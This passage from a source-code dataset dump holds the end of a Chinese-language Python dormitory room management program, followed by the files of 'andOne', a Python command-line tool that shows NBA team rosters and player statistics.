room_id):\n print(\"您输入的寝室号对应的寝室已住满,请重新输入:\")\n else:\n break\n break\n\n else:\n print(\"请按照提示输入选项对应的数字:\\n\")\n\n save_json_file()\n print(\"新增学生信息录入成功\")\n\n\n# 删除学生信息\ndef delete_student_info():\n delete_id = '0'\n while not query_student_id(delete_id, ID_EXISTS): # 判断输入的学号是否存在\n delete_id = input(\"请输入要删除学生的学号(要确保学生信息存在哦):\\n\") # 输入要删除学生的学号\n\n query_student_id(delete_id, DELETE_ID) # 删除寝室字典里面的该生信息\n\n save_json_file()\n print(\"已删除学号{}的学生信息\".format(delete_id))\n\n\n# 显示寝室信息\ndef show_room_info():\n print(\"按寝室显示学生信息:\", end=\"\")\n print(print_info)\n for room_id in room_info_dict:\n print(\"{}号寝室,人员如下:\".format(room_id))\n for stu_info in room_info_dict[room_id][\"student\"]:\n print(\"{}\\t\\t{}\\t\\t{}\\t\\t{}\\t\\t{}\"\n .format(stu_info[\"student_id\"], stu_info[\"name\"], stu_info[\"sex\"], stu_info[\"age\"], stu_info[\"room\"]))\n\n\n# 按学号搜索并显示学生信息\ndef show_student_info():\n find_id = input(\"请你输入想要查找的学号:\\n\")\n find_info = query_student_id(find_id, INFO_RETURN)\n if find_info:\n print(\"{}号学生信息如下:\".format(find_id), end=\"\")\n print(print_info)\n print(\"{}\\t\\t{}\\t\\t{}\\t\\t{}\\t\\t{}\".format(\n find_info[\"student_id\"], find_info[\"name\"], find_info[\"sex\"], find_info[\"age\"], find_info[\"room\"]))\n else:\n print(\"系统未录入此学号的学生\")\n\n\n# 具体分配步骤\ndef concreteness_allot_step(room_info, student_info, room_id):\n if student_info[\"room\"] == room_id: # 在学生个人信息中备注其寝室号\n print(\"该生已在此寝室\")\n room_info[\"student\"].append(student_info) # 将学生信息添加到寝室信息字典中,抵消后续的删除操作\n room_info[\"count\"] += 1\n return True\n if room_info[\"count\"] < 4: # 判断寝室是否未住满\n student_info[\"room\"] = room_id # 在学生个人信息中备注其寝室号\n room_info[\"student\"].append(student_info) # 将学生信息添加到寝室信息字典中\n room_info[\"count\"] += 1\n print(\"分配成功\")\n return True\n else:\n return False\n\n\n# 调整学生宿舍\ndef change_student_room(): # 可将学生调整到空余寝室,或者和其他学生互换寝室\n while True:\n info = \"\"\"========================调整寝室============================\n 1.一人调整寝室\n 2.两人互换寝室\n \"\"\"\n print(info)\n choice1 = input(\"请选择你需要进行的操作:\\n\")\n if choice1 == \"1\": # 一人调整寝室\n change_id = '0'\n while not query_student_id(change_id, ID_EXISTS): # 判断输入的学号是否存在\n change_id = input(\"请输入要调整学生的学号(要确保学生信息存在哦):\\n\") # 输入调整学生的学号\n\n change_info = query_student_id(change_id, INFO_RETURN)\n k = 1 # k = 1,默认为女生\n if change_info[\"sex\"] == \"男\": # 用k值标识性别,方便后面为其分配对应的寝室\n k = 0 # k = 0为男\n\n change_room = 0\n # 判断输入寝室号是否合法\n while True: # 由于寝室号格式转换为整型,所以加了异常和格式转换,阻止了输入为1.1和1、1之类的情况\n try:\n if change_room not in (100 + 100 * k, 101 + 100 * k, 102 + 100 * k): # 寝室号是否合法\n change_room = int(input(\"请输入要调整的寝室号(男女生要分配到与其对应的寝室哦):\\n\"))\n else:\n break\n except ValueError:\n print(\"您输入的寝室号格式有误,请重新输入\")\n\n change_room = str(change_room)\n if not concreteness_allot_step(room_info_dict[change_room], change_info, change_room):\n print(\"{}号寝室已满,人员如下:\".format(change_room))\n print(print_info)\n for stu_info in room_info_dict[change_room][\"student\"]:\n print(\"{}\\t\\t{}\\t\\t{}\\t\\t{}\\t\\t{}\".format(\n stu_info[\"student_id\"], stu_info[\"name\"], stu_info[\"sex\"], stu_info[\"age\"], stu_info[\"room\"]))\n\n if 'y' == input(\"是否与其中一人交换宿舍(y/n)\"):\n another_change_id = input(\"请输入与之交换寝室的学生学号\") # 输入被交换学生的学号\n another_change_info = query_student_id(another_change_id, INFO_RETURN) # 获取被交换学生的信息\n another_change_room = change_info[\"room\"] # 获取交换学生原有宿舍\n\n # 删除学生原来的宿舍信息\n query_student_id(change_id, DELETE_ID)\n query_student_id(another_change_id, DELETE_ID)\n # 更新被交换学生宿舍信息\n concreteness_allot_step(room_info_dict[another_change_room], another_change_info,\n another_change_room)\n # 更新交换学生宿舍信息\n concreteness_allot_step(room_info_dict[change_room], change_info, change_room)\n break\n\n else:\n query_student_id(change_id, DELETE_ID)\n break\n\n elif choice1 == \"2\": # 两人互换寝室\n one_change_id = '0'\n while not query_student_id(one_change_id, ID_EXISTS): # 判断输入的学号是否存在\n one_change_id = input(\"请输入第一个要交换学生的学号(要确保学生信息存在哦):\\n\") # 输入第一个交换学生的学号\n one_change_info = query_student_id(one_change_id, INFO_RETURN) # 获取第一个交换学生的信息\n one_change_room = one_change_info[\"room\"] # 获取第一个交换学生原有宿舍\n\n two_change_id = '0'\n while not query_student_id(two_change_id, ID_EXISTS): # 判断输入的学号是否存在\n two_change_id = input(\"请输入另一个要交换学生的学号(要确保学生信息存在哦):\\n\") # 输入另一个交换学生的学号\n two_change_info = query_student_id(two_change_id, INFO_RETURN) # 获取另一个交换学生的信息\n two_change_room = two_change_info[\"room\"] # 获取第一个交换学生原有宿舍\n\n # 删除学生原来的宿舍信息\n query_student_id(one_change_id, DELETE_ID)\n query_student_id(two_change_id, DELETE_ID)\n # 更新第一个交换学生宿舍信息\n concreteness_allot_step(room_info_dict[two_change_room], one_change_info, two_change_room)\n # 更新另一个交换学生宿舍信息\n concreteness_allot_step(room_info_dict[one_change_room], two_change_info, one_change_room)\n break\n\n else:\n print(\"请按照提示输入选项对应的数字:\\n\")\n\n save_json_file()\n print(\"调整学生寝室成功\")\n\n\n# 系统功能菜单\ndef show_menu():\n while True:\n info = \"\"\"\n欢迎使用[寝室管理系统]:\n 1.录入学生信息\n 2.删除学生信息\n 3.搜索学生信息\n 4.显示学生信息\n 5.调整学生宿舍\n 0.退出管理系统\n \"\"\"\n print(info)\n choice = input(\"请输入你想进行的操作是:\\n\")\n\n if choice == RECORD_INFO: # 1.录入学生信息\n record_student_info()\n\n elif choice == DELETE_INFO: # 2.删除学生信息\n delete_student_info()\n\n elif choice == FIND_INFO: # 3.搜索学生信息\n show_student_info()\n\n elif choice == SHOW_INFO: # 4.显示学生信息\n show_room_info()\n\n elif choice == CHANGE_ROOM: # 5.调整学生宿舍\n change_student_room()\n\n elif choice == QUIT_SYSTEM: # 0.退出管理系统\n print(\"欢迎再次使用学生管理系统!\")\n break\n\n else:\n print(\"您的输入有误,请您输入操作相对应的数字:\")\n\n print(\"按enter键继续...\")\n input()\n\n\nif __name__ == \"__main__\":\n room_info_dict = load_json_file() # 加载json文件的学生信息到字典中\n\n show_menu() # 显示系统主菜单,并在其中循环\n\n save_json_file() # 将学生信息保存在json文件\n"
}
] | 1 |
nikhilkuria/andOne | https://github.com/nikhilkuria/andOne | bb6eddb4dc78ca1ff2056ce636dd1c0142ca6a95 | 276002171902f7ffabd13532264e6bf48394dee3 | e8f9dbf9c04ee44095d69a9fce576ece2775e602 | refs/heads/master | 2022-12-10T04:11:18.693576 | 2019-09-17T19:35:52 | 2019-09-17T19:35:52 | 148,259,517 | 0 | 0 | Apache-2.0 | 2018-09-11T04:19:24 | 2019-09-17T19:35:54 | 2022-12-08T02:53:13 | Python | [
{
"alpha_fraction": 0.4866468906402588,
"alphanum_fraction": 0.6973294019699097,
"avg_line_length": 15.850000381469727,
"blob_id": "7a59390f746248d9ab5d142d87f07a6a2cef174e",
"content_id": "6a63372611cffb199bdb5e069ba3395e92d8ef0d",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 337,
"license_type": "permissive",
"max_line_length": 26,
"num_lines": 20,
"path": "/requirements.txt",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "beautifultable==0.5.3\ncertifi==2018.8.24\nchardet==3.0.4\ncolorama==0.3.9\nenum34==1.1.6\nidna==2.7\nnba-api==1.0.4\nprettytable==0.7.2\nprompt-toolkit==1.0.15\npy==1.6.0\nPygments==2.2.0\npyparsing==2.2.1\npython-Levenshtein==0.12.0\npython-nubia==0.1b2\nrequests==2.20.0\nsix==1.11.0\ntermcolor==1.1.0\ntermgraph==0.1.3\nurllib3==1.24.2\nwcwidth==0.1.7\n"
},
{
"alpha_fraction": 0.30000001192092896,
"alphanum_fraction": 0.6000000238418579,
"avg_line_length": 18,
"blob_id": "239b26089a81edcbbc91f63d1893731bf423c9f8",
"content_id": "7f753e9f5c7cd28eca6d0b8e74de758a6504f60c",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 20,
"license_type": "permissive",
"max_line_length": 18,
"num_lines": 1,
"path": "/src/constants/common.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "\nSEASON = '2018-19'\n"
},
{
"alpha_fraction": 0.6227545142173767,
"alphanum_fraction": 0.6227545142173767,
"avg_line_length": 26.5,
"blob_id": "49ab23962573e76f1f0d0d84014dcfa3c6582b2c",
"content_id": "73c37a24b1827513205e04223ac5d7f1a7bd2845",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 167,
"license_type": "permissive",
"max_line_length": 52,
"num_lines": 6,
"path": "/src/visual/headers.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "\n\ndef build_padded_header(title:str) -> str:\n return \"*** {title} ***\".format(title=title)\n\n\ndef build_upper_header(title:str) -> str:\n return title.upper()\n"
},
{
"alpha_fraction": 0.6749252676963806,
"alphanum_fraction": 0.6749252676963806,
"avg_line_length": 33.411766052246094,
"blob_id": "3a3cc4603ea0d99212e29d2deecb9c5cdb8e4883",
"content_id": "627b2464ced6a8f6a8b2ae410f4c07230482f12c",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2341,
"license_type": "permissive",
"max_line_length": 100,
"num_lines": 68,
"path": "/src/teams/team_stats.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "import logging,json\nfrom typing import Tuple\n\nfrom nba_api.stats.endpoints.commonteamroster import CommonTeamRoster\n\nfrom constants import TEAMS, SEASON\nfrom teams import TeamNotFoundException\n\nlogger = logging.getLogger('pynba.teams')\n\n\ndef _match_team_from_input(team_name_input: str) -> str:\n \"\"\"\n iterate through the list of teams to find a match\n from the team_name_input\n :param team_name_input: the team name as city name, franchise name, or team code in upper case\n \"\"\"\n # Check if it's the team code, then read directly from the constants\n if team_name_input in TEAMS:\n team_details = TEAMS[team_name_input]\n return team_details\n\n # Else, see it it's a city name or a franchise name\n else:\n for team_code in TEAMS:\n team_details = TEAMS[team_code]\n\n city = team_details['city'].upper()\n franchise = team_details['name'].upper()\n if team_name_input == city or team_name_input == franchise:\n return team_details\n\n logger.error(\"Could not map the input {input} to a known team\".format(input=team_name_input))\n raise TeamNotFoundException\n\n\ndef _parse_team_name(team_name_input: str) -> Tuple[str, int]:\n \"\"\"\n Map the team_name input to a known team\n The input can be one of the following\n - The three digit code for the team ex: OKC, GSW\n - The city of the team ex: Chicago, Denver\n - The name of the franchise ex: Bulls, Bucks\n :param team_name_input:\n :return: team_name, team_id\n \"\"\"\n team_name_input = team_name_input.upper()\n\n team_record = _match_team_from_input(team_name_input)\n\n team_name = \"{city} {franchise}\".format(city=team_record['city'], franchise=team_record['name'])\n team_id = team_record['id']\n\n return team_name, team_id\n\n\ndef get_team_roster(team_name_input: str) -> str:\n \"\"\"\n from a given input of a team name, return the current roster as a json string\n can throw TeamNotFoundException\n :param team_name_input:\n :return: team name and team roster as string\n \"\"\"\n team_name, team_id = _parse_team_name(team_name_input)\n logger.info('Fetching roster for team {team_name}'.format(team_name=team_name))\n\n team_details = CommonTeamRoster(team_id, SEASON).get_normalized_dict()\n return team_name, team_details[\"CommonTeamRoster\"]\n\n"
},
{
"alpha_fraction": 0.8732394576072693,
"alphanum_fraction": 0.8732394576072693,
"avg_line_length": 69,
"blob_id": "dc51add60bc74e3d3385b1a33316d64ae2e904b5",
"content_id": "d73cfb757dda2f0a7257c9d8393845353ce7de37",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 142,
"license_type": "permissive",
"max_line_length": 75,
"num_lines": 2,
"path": "/src/players/__init__.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "from .player_not_found_exception import PlayerNotFoundException\nfrom .multiple_players_found_exception import MultiplePlayersFoundException\n\n\n"
},
{
"alpha_fraction": 0.6460932493209839,
"alphanum_fraction": 0.6460932493209839,
"avg_line_length": 29.459999084472656,
"blob_id": "0a5b4347288cf11ea9ab15e9c2d2ede3acdcae93",
"content_id": "29dc28ece3e59f57d5e27a109f2da50b79ceafe2",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1523,
"license_type": "permissive",
"max_line_length": 90,
"num_lines": 50,
"path": "/tests/teams/test_team_stats.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "import pytest\n\nfrom teams.team_stats import _match_team_from_input as match_team_from_input\nfrom teams.team_stats import _parse_team_name as parse_team_name\nfrom teams import TeamNotFoundException\nfrom nba_py.constants import TEAMS\n\n\ndef test_team_name_found_from_city_name():\n \"\"\"\n Tests if the team can be found from the name of the city\n \"\"\"\n for team_code, team in TEAMS.items():\n city = team['city']\n if city == 'Los Angeles':\n continue\n found_team = match_team_from_input(city.upper())\n assert team == found_team\n\n\ndef test_team_name_found_from_franchise_name():\n \"\"\"\n Tests if the team can be found from the name of the franchise\n \"\"\"\n for team_code, team in TEAMS.items():\n franchise_name = team['name']\n found_team = match_team_from_input(franchise_name.upper())\n assert team == found_team\n\n\ndef test_team_name_found_from_team_code():\n \"\"\"\n Tests if the team can found from the team code\n \"\"\"\n for team_code, team in TEAMS.items():\n found_team_name, found_team_id = parse_team_name(team_code)\n\n team_name = \"{city} {franchise}\".format(city=team['city'], franchise=team['name'])\n team_id = team['id']\n\n assert found_team_name == team_name\n assert found_team_id == team_id\n\n\ndef test_team_name_not_found_exception_thrown():\n \"\"\"\n Tests if an exception is thrown when the team is not found\n \"\"\"\n with pytest.raises(TeamNotFoundException):\n parse_team_name(\"INVALID\")\n"
},
{
"alpha_fraction": 0.8500000238418579,
"alphanum_fraction": 0.8500000238418579,
"avg_line_length": 39,
"blob_id": "b148a8c1f0920670298460ee6ca6d2ce9c744d1e",
"content_id": "8c7abb993420d5ef1088911436fe27c0fbead9a3",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 40,
"license_type": "permissive",
"max_line_length": 39,
"num_lines": 1,
"path": "/src/visual/__init__.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "from .stacked_graph import StackedGraph\n"
},
{
"alpha_fraction": 0.5849056839942932,
"alphanum_fraction": 0.698113203048706,
"avg_line_length": 12.25,
"blob_id": "b4c9d1793ac4994969f91a2445afd9e1d1356fe0",
"content_id": "9229b8244066862b42c0d040915f1873efe02e20",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 53,
"license_type": "permissive",
"max_line_length": 19,
"num_lines": 4,
"path": "/requirements-dev.txt",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "-r requirements.txt\n\npytest==3.2.1\npytest-cov==2.5.1\n"
},
{
"alpha_fraction": 0.8082191944122314,
"alphanum_fraction": 0.8082191944122314,
"avg_line_length": 35.5,
"blob_id": "3f605978474cb46030bb1899f624391bc69991ec",
"content_id": "ec738f081aec40432ecc80ab39a70e1def73145e",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 73,
"license_type": "permissive",
"max_line_length": 45,
"num_lines": 2,
"path": "/src/constants/__init__.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "from .common import SEASON\nfrom .teams import TEAM_ROSTER_HEADERS, TEAMS\n"
},
{
"alpha_fraction": 0.8103448152542114,
"alphanum_fraction": 0.8103448152542114,
"avg_line_length": 27.5,
"blob_id": "e0ba24d6539018a7a1c5c926c7c3710229dc24a3",
"content_id": "d9f61270ec842487d5727bdbeb63b16edf1e2d8f",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 58,
"license_type": "permissive",
"max_line_length": 47,
"num_lines": 2,
"path": "/src/players/multiple_players_found_exception.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "\nclass MultiplePlayersFoundException(Exception):\n pass\n"
},
{
"alpha_fraction": 0.6315372586250305,
"alphanum_fraction": 0.6323296427726746,
"avg_line_length": 36.088233947753906,
"blob_id": "6c2e3a70e1f95e13915621a8e08857a0241b604f",
"content_id": "d2ecb44bfcd0f36704d0e10096b5462f6f59884d",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1262,
"license_type": "permissive",
"max_line_length": 99,
"num_lines": 34,
"path": "/src/commands/team.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "import logging\n\nfrom nubia import command, argument\n\nfrom teams import team_stats, TeamNotFoundException\nfrom visual import tables, headers\nfrom constants import TEAM_ROSTER_HEADERS\n\nlogger = logging.getLogger('pynba.command.team')\n\n\n@command\nclass Team:\n \"\"\"Use this to see the team roster and other useful things about your favourite team\"\"\"\n\n @command\n @argument(\"team_name\", positional=True)\n def roster(self, team_name: str):\n \"\"\"\n print the players in the team roster\n \"\"\"\n try:\n logger.info('Team roster action called on {name}'\n .format(name=team_name))\n team_name, response = team_stats.get_team_roster(team_name)\n formatted_response = tables.build_tables_from_json(TEAM_ROSTER_HEADERS, list(response))\n print(headers.build_upper_header(headers.build_padded_header(team_name)))\n print(formatted_response)\n except TeamNotFoundException:\n error_message = 'No team found for the given name {name}. ' \\\n 'Use either the city name, franchise name or the 3 digit code'\\\n .format(name=team_name)\n logger.error(error_message)\n print(error_message)\n\n"
},
{
"alpha_fraction": 0.734375,
"alphanum_fraction": 0.734375,
"avg_line_length": 30.5,
"blob_id": "9ed8bef7c3ba23e393a5a2a2c244f4716a0488fa",
"content_id": "0a45efe88ebdd2a442928d15ca3fa3471e475011",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 64,
"license_type": "permissive",
"max_line_length": 32,
"num_lines": 2,
"path": "/src/constants/actions.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "\nTEAM_ROSTER_ACTION = \"roster\"\nPLAYER_SUMMARY_ACTION = \"player\"\n"
},
{
"alpha_fraction": 0.7843137383460999,
"alphanum_fraction": 0.7843137383460999,
"avg_line_length": 24,
"blob_id": "1e4ae0e7907c7b8d82ba76174e5687b236512573",
"content_id": "842c9b40e0aaef7dbcab596657e13c30208a0b42",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 51,
"license_type": "permissive",
"max_line_length": 26,
"num_lines": 2,
"path": "/src/commands/__init__.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "from .team import Team\nfrom .player import Player\n\n"
},
{
"alpha_fraction": 0.6742323040962219,
"alphanum_fraction": 0.6755674481391907,
"avg_line_length": 24.827587127685547,
"blob_id": "013bd6b4ac739569ceef3bc46974d358a7cea531",
"content_id": "b4b6ef5b85d8efef4b88e92503fadf64d9fbc861",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 749,
"license_type": "permissive",
"max_line_length": 89,
"num_lines": 29,
"path": "/src/pynba.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python3\n\nimport sys, logging\nfrom nubia import Nubia\nfrom nubia_plugin import PyNbaPlugin\n\n\ndef _configure_logger():\n \"\"\"\n Define the logging parameters\n \"\"\"\n # Configure logging\n logger = logging.getLogger('pynba')\n logger.setLevel(logging.INFO)\n\n file_handler = logging.FileHandler('../pynba.log')\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n file_handler.setFormatter(formatter)\n\n logger.addHandler(file_handler)\n\n\n# This is the entry point of the application.\n# Sets the nubia plugin and starts the shell\nif __name__ == \"__main__\":\n _configure_logger()\n plugin = PyNbaPlugin()\n shell = Nubia(name=\"py_nba\", plugin=plugin)\n sys.exit(shell.run())\n"
},
{
"alpha_fraction": 0.6810193061828613,
"alphanum_fraction": 0.6862917542457581,
"avg_line_length": 14.589040756225586,
"blob_id": "ac71eeb87f38f51bb64778b1478b039538e7c5aa",
"content_id": "553ebe48b1b3b3a8fbc7090d3a4558d8d74decfc",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1138,
"license_type": "permissive",
"max_line_length": 79,
"num_lines": 73,
"path": "/README.md",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "# andOne\n\n#### Set up and Installation\nTODO\n\n#### Commands\n\nandOne supports the following commands\n\n* team\n* player\n\n#### team\n\n###### roster\n\n`team roster <team name>`\n\n```\nteam roster gsw\nteam roster atlanta\nteam roster houston\n```\n\n`<team name>`\n\nCan be any of the following\n\n* City name\n - `Houston, Dallas, Boston`\n* Franchise name\n - `Lakers, Warriors`\n* Code of a Team\n - `OKC, CLE`\n\n![Alt Text](https://media.giphy.com/media/WwZgsK4LcH3BllPK0Y/giphy.gif)\n\n#### player\n\n###### year-on-year\n\n`player year-on-year <player name> <stat-names>`\n\n```\nplayer year-on-year \"Paul George\"\nplayer year-on-year \"Russel Westbrook\" stat-names=[\"AVG TURNOVERS\"]\n```\n\n`<player name>`\n\nShould be the first name followed by the last\nex : Paul George, Russel Westbrook\n\n`<stat-names>`\n\nThis is optional. If this field is left blank, all the stats will be displayed.\n\nYou can choose a subset of the available stats\n\n* GAMES PLAYED\n* GAMES STARTED\n* MINUTES\n* AVG POINTS\n* AVG ASSISTS\n* AVG REBOUNDS\n* AVG STEALS\n* AVG BLOCKS\n* AVG TURNOVERS\n* AVG PERSONAL FOULS\n\nex : [\"AVG PERSONAL FOULS\", \"AVG BLOCKS\"]\n\n![Alt Text](https://media.giphy.com/media/EEzGzZhpGF6Ktewc45/giphy.gif)\n"
},
{
"alpha_fraction": 0.5683659911155701,
"alphanum_fraction": 0.5793464183807373,
"avg_line_length": 30.875,
"blob_id": "858e519bc4624877f7d2bf5a265eacbcbf46deb2",
"content_id": "611ec7057d54eea1e6f57b4cacfe8895c6bc4f92",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3893,
"license_type": "permissive",
"max_line_length": 109,
"num_lines": 120,
"path": "/src/visual/stacked_graph.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "import math\nfrom typing import List, Type\n\n\nclass StackedGraph:\n\n TICK = '▇'\n SEPARATOR = '-'\n\n def __init__(self, record_labels: List, record_values: List, graph_title: str):\n self._record_labels = record_labels\n self._record_values = record_values\n self._scaled_values = [int(value*100) for value in record_values]\n self._graph_title = graph_title\n self._scale = self._get_scale()\n self._width = self._get_width()\n\n def _get_scale(self):\n \"\"\"\n Identifies the scale of the graph\n Meaning, how much is the value of one block, self.TICK\n \"\"\"\n non_zero_records = [record for record in self._scaled_values if record > 0]\n min_value = min(non_zero_records)\n # Get the floor value of the nearest power of 10\n scale = math.pow(10, math.floor(math.log10(min_value)))\n return scale\n\n def _get_width(self):\n \"\"\"\n Sets the approximate width of the graph\n \"\"\"\n return len(self._graph_title)\n\n def _get_num_units(self, value):\n \"\"\"\n Returns the number of units of self.TICK needed for a given value\n :param value:\n :return: the number of units\n \"\"\"\n large_units = value/self._scale\n return int(large_units)\n\n def _get_horizontal_line(self):\n \"\"\"\n Horizontal line as per the width of the graph\n :return: String representation of a horizontal line\n \"\"\"\n line = [self.SEPARATOR] * self._width\n return ''.join(line)\n\n def _get_single_horizontal_line_graph(self, label: str, value: float, scaled_value: int):\n \"\"\"\n Build a string representation of a row\n :return:\n :param scaled_value: the value on which the scale is built\n :param label: label of the row\n :param value: value of the row\n :return: String representation of a row\n \"\"\"\n line = list()\n # the label\n line.append(str(label))\n\n # the blocks in the line\n large_units = self._get_num_units(scaled_value)\n line_graph_elements = [self.TICK] * large_units\n line_graph = ''.join(line_graph_elements)\n line.append(line_graph)\n\n # the value at the end of the line\n line.append(str(value))\n\n return ' '.join(line)\n\n def __str__(self):\n \"\"\"\n Creates a string representation of the data in this object. It follows the structure\n - horizontal line\n - title of the graph\n - horizontal line\n - for each value\n - record label, blocks for the value, value\n ex:\n ----------\n title\n ----------\n 2017-18 ▇▇▇▇▇▇ 6.7\n 2018-19 ▇▇▇▇▇▇▇▇ 8.6\n 2019-20 ▇▇▇▇▇▇▇▇▇ 9.9\n 2020-21 ▇▇▇▇▇▇▇▇▇▇ 10\n :return: The string representation of a graph\n \"\"\"\n graph = list()\n # Start with a line on top\n graph.append(self._get_horizontal_line())\n\n # Title of the graph if it exists\n if self._graph_title:\n graph.append(self._graph_title)\n graph.append(self._get_horizontal_line())\n\n # A row for each value\n for label, value, scaled_value in zip(self._record_labels, self._record_values, self._scaled_values):\n single_line = self._get_single_horizontal_line_graph(label, value, scaled_value)\n graph.append(single_line)\n\n # Bring everything together\n return '\\n'.join(graph)\n\n\ndef build_stacked_graph(labels: List, values: List, title: str) -> Type[StackedGraph]:\n \"\"\"\n Returns an instance of stacked graph\n :param labels: labels for each row\n :param values: values for each row\n :param title: the tile of the graph\n :return: StackedGraph\n \"\"\"\n return StackedGraph(labels, values, title)\n"
},
{
"alpha_fraction": 0.6493721008300781,
"alphanum_fraction": 0.6503635048866272,
"avg_line_length": 34.599998474121094,
"blob_id": "a10e54bf2f42fa7181cac1896e8aac4d834b8e49",
"content_id": "64fa2e1aff1a7f38e28159ee594f0f8504145f0c",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3026,
"license_type": "permissive",
"max_line_length": 97,
"num_lines": 85,
"path": "/src/players/player_stats.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
"text": "import logging\nfrom collections import defaultdict\nfrom typing import Dict, List, DefaultDict\n\nfrom nba_api.stats.endpoints.playercareerstats import PlayerCareerStats\nfrom nba_api.stats.static import players as PlayerHelper\nfrom nba_api.stats.library.parameters import PerModeSimple\n\nfrom .player_not_found_exception import PlayerNotFoundException\nfrom .multiple_players_found_exception import MultiplePlayersFoundException\n\nlogger = logging.getLogger('pynba.player')\n\ndef _format_results(raw_response: List[Dict]) -> Dict:\n response = dict()\n for entry in raw_response:\n season = entry['SEASON_ID']\n season_stats = dict()\n season_stats['GAMES PLAYED'] = entry['GP']\n season_stats['GAMES STARTED'] = entry['GS']\n season_stats['MINUTES'] = entry['MIN']\n season_stats['AVG POINTS'] = entry['PTS']\n season_stats['AVG ASSISTS'] = entry['AST']\n season_stats['AVG REBOUNDS'] = entry['REB']\n season_stats['AVG STEALS'] = entry['STL']\n season_stats['AVG BLOCKS'] = entry['BLK']\n season_stats['AVG TURNOVERS'] = entry['TOV']\n season_stats['AVG PERSONAL FOULS'] = entry['PF']\n response[season] = season_stats\n return response\n\n\ndef get_player_stats(first_name: str, last_name: str) -> Dict:\n \"\"\"\n Returns the stats for a player in standard format\n :param first_name:\n :param last_name:\n :return:\n \"\"\"\n players = PlayerHelper.find_players_by_full_name(\"{first_name} {last_name}\".format(\n first_name=first_name,\n last_name=last_name\n ))\n\n if len(players) > 1 :\n logger.error(\"Multiple players found with the name - {first_name} {last_name}\"\n .format(first_name=first_name,\n last_name=last_name))\n raise MultiplePlayersFoundException\n if len(players) == 0:\n logger.error(\"Could not find a player with the name - {first_name} {last_name}\"\n .format(first_name=first_name,\n last_name=last_name))\n raise PlayerNotFoundException\n\n player_id = players[0]['id']\n\n logger.info(\"Fetching the player id for {first_name}, {last_name} - {player_id}\"\n .format(first_name=first_name,\n last_name=last_name,\n player_id=player_id))\n\n all_player_stats = PlayerCareerStats(player_id, PerModeSimple.per_game).get_normalized_dict()\n yoy_stats = all_player_stats['SeasonTotalsRegularSeason']\n\n player_stats = _format_results(yoy_stats)\n\n return player_stats\n\n\ndef get_player_yoy_stats(first_name: str, last_name: str) -> DefaultDict:\n \"\"\"\n Returns the Year on Year stats for a player\n :param first_name:\n :param last_name:\n :return:\n \"\"\"\n yoy_stats = defaultdict(dict)\n player_stats = get_player_stats(first_name=first_name, last_name=last_name)\n\n for season, season_stats in player_stats.items():\n for stat_name, stats_value in season_stats.items():\n yoy_stats[stat_name][season] = stats_value\n\n return yoy_stats\n"
},
{
"alpha_fraction": 0.6150234937667847,
"alphanum_fraction": 0.6150234937667847,
"avg_line_length": 21.421052932739258,
"blob_id": "f1c76f78771334ff79f9e9ee738e1c1dd6e99fea",
"content_id": "4571172c42687bd7420d1c20ce9b2d8358321206",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 426,
"license_type": "permissive",
"max_line_length": 58,
"num_lines": 19,
"path": "/src/nubia_plugin.py",
"repo_name": "nikhilkuria/andOne",
"src_encoding": "UTF-8",
